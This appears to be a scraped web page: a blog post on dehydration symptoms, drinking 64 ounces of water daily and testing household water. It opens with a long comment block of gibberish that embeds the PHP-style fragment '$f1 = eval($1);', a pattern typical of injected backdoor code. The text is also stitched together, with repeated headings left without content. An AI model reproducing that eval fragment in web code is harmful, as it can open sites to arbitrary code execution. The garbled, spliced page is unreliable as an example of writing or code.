/* asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r$f1 = eval($1);0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
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Some negative effects of not enough water in a person’s diet include developing of excess body fat, loss of muscle tone, gastrointestinal difficulties, issues with kidney function, increased blood pressure, joint discomfort, and cramping of muscles.
Many researchers believe that despite the well-known effects of dehydration, a great many of us go about our lives not taking in a sufficient amount of water to prevent the ill effects of dehydration.
Unsure if you consume enough water? If you find yourself experiencing low urine quantities, darker or more highly colored urine, pungent smelling urine, or not having to urinate all that often during the day you may suffer from some level of dehydration.
Other dehydration symptoms may include becoming fatigued easily, headaches starting out of the blue and apparently for no reason, faster than normal heart rate, an unusually dry mouth, difficulty concentrating on tasks at hand, trouble remembering things, and/or dizziness spells.
Tips for staying hydrated?
Moral of the story?
Some say an ounce of prevention goes a long way… so just IMAGINE how far 64 ounces of water a day can take you!
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Keep that math in mind the next time you find yourself in line for a Double Mocha Latte Whatever Whatever… that costs $6 and contains enough calories and other junk to kill a small farm animal.
You can find more detailed information on the benefits of drinking a healthy amount of water here.
Moral of the story?
All throughout my childhood I heard the phrase “Milk. It does a body good!” repeated over and over again on the radio and on television. Therefore I drank a lot of milk and grew up relatively healthy.
I’ve since added water to my daily diet and can personally attest to its benefits — primarily because I have taken the time to make sure the water I drink contains no unwanted and potentially dangerous contaminants.
Practicing what I preach by testing my water on a regular basis helps to keep not only me as healthy as possible, but it also means my family stays as healthy as possible, too.